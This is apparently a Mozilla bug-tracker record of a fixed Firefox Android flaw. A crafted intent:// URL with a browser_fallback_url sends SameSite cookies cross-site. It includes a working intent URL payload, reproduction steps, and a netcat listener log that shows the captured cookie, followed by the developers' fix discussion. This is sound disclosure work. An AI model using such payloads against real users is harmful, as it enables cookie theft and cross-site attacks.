SameSite=Strict cookie bypass on Android via fallback URLs in intent:// scheme
Categories
(Fenix :: General, defect, P2)
Tracking
(firefox105 wontfix, firefox106 wontfix, firefox107 fixed)
People
(Reporter: haxatron1, Assigned: royang)
Details
(Keywords: csectype-other, reporter-external, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?] [geckoview:m107][adv-main107+])
Attachments
(2 files, 2 obsolete files)
SameSite=Strict cookies can be sent cross-site (without user interaction) via the intent URLs. Consider the following URL:
intent://192.168.1.70#Intent;scheme=http;package=garbage;S.browser_fallback_url=http://192.168.1.70:8000/cookie;end
On Android, the S.browser_fallback_url parameter specifies the URL to load when the browser fails to verify the intent. As the intent above is invalid due to the invalid package name, then Firefox browser will not open another app but instead open the URL http://192.168.1.70:8000/cookie.
When opening the fallback_url parameter, it doesn't take into account the passing of SameSite=Strict cookie, as such, an attacker can just redirect a user to the URL intent://192.168.1.70#Intent;scheme=http;package=garbage;S.browser_fallback_url=http://192.168.1.70:8000/cookie;end and the cookies will get passed on.
STR:
- Download attached files.
- Host cookie.php on Site A, intent-redirect.php on Site B. Remember to change the URL in intent-redirect.php to Site B!
- Visit cookie.php on Site A to retrieve SameSite cookies
- Open a listener on Site A, then visit intent-redirect.php on Site B
- The SameSite cookie gets sent to cross-site from Site B to Site A.
└─$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [192.168.1.70] from (UNKNOWN) [192.168.1.127] 43784
GET /cookie HTTP/1.1
Host: 192.168.1.70:8000
User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:104.0) Gecko/104.0 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: a=b
Upgrade-Insecure-Requests: 1
Updated•2 years ago
|
Easier STR.
On Firefox Android,
- Download simpler-poc.html
- Set-cookie by clicking (1)
- Verify SameSite Strict cookie set by clicking (2), cookie should not be seen.
- SameSite Strict cookie should be sent on (3).
Actually, thinking about this now, it is a samesite=lax bypass too, as intent redirects are confirmed to work (so a user just needs to visit a malicious site to trigger the bypass)
Comment 4•2 years ago
|
||
Roger, Irene, could you take a look at this, specifically our App links logic to handle browser_fallback_url?
Our interceptor logic seems load the URL without specifying load flags, which is wrong in this case:
- https://github.com/mozilla-mobile/android-components/blob/a8f53e4989a37dccdff510b1f5d3b8d871594543/components/browser/engine-gecko/src/main/java/mozilla/components/browser/engine/gecko/GeckoEngineSession.kt#L659
- https://github.com/mozilla-mobile/android-components/blob/71e124a5dbafffb800168ea615fdbc54d7398f50/components/feature/app-links/src/main/java/mozilla/components/feature/app/links/AppLinksInterceptor.kt#L123-L133
- https://github.com/mozilla-mobile/android-components/blob/6431cfeee9987337ff9d9260f5a7ac6188bf6160/components/feature/app-links/src/main/java/mozilla/components/feature/app/links/AppLinksUseCases.kt#L128
But even without load flags it seems that GV should handle this?
Assignee | ||
Updated•2 years ago
|
Assignee | ||
Comment 5•2 years ago
|
||
Using the STR above, I can confirm that the cookie is sent cross-site. As Christian correctly pointed out, the loadUrl
call in A-C should set the flag to external()
to prevent this from happening. I've tested and it does indeed fixes this issue.
Question for Irene, should there also be a check that catches this in GV? Thanks
Updated•2 years ago
|
Updated•2 years ago
|
Comment 6•2 years ago
|
||
Roger, I looked at GV's code - we don't do anything about the cookies, flags or storage. All the related logic seems to be in Gecko. Seeing that this is related to Intents specifically, I would guess this is an AC issue.
Assignee | ||
Comment 7•2 years ago
|
||
Patch landed in Nightly with https://github.com/mozilla-mobile/android-components/pull/12927
Thanks, could this be marked as fixed (as the commit has been merged) or are there any secondary patches incoming?
Assignee | ||
Comment 9•2 years ago
|
||
Yes, this can be marked as fixed. I've confirmed on latest Nightly using simple-poc.html that this issue has been fixed. Thanks
Assignee | ||
Updated•2 years ago
|
Updated•2 years ago
|
Updated•2 years ago
|
Updated•2 years ago
|
Updated•2 years ago
|
Comment 10•2 years ago
|
||
Updated•2 years ago
|
Updated•2 years ago
|
Updated•8 months ago
|
Description
•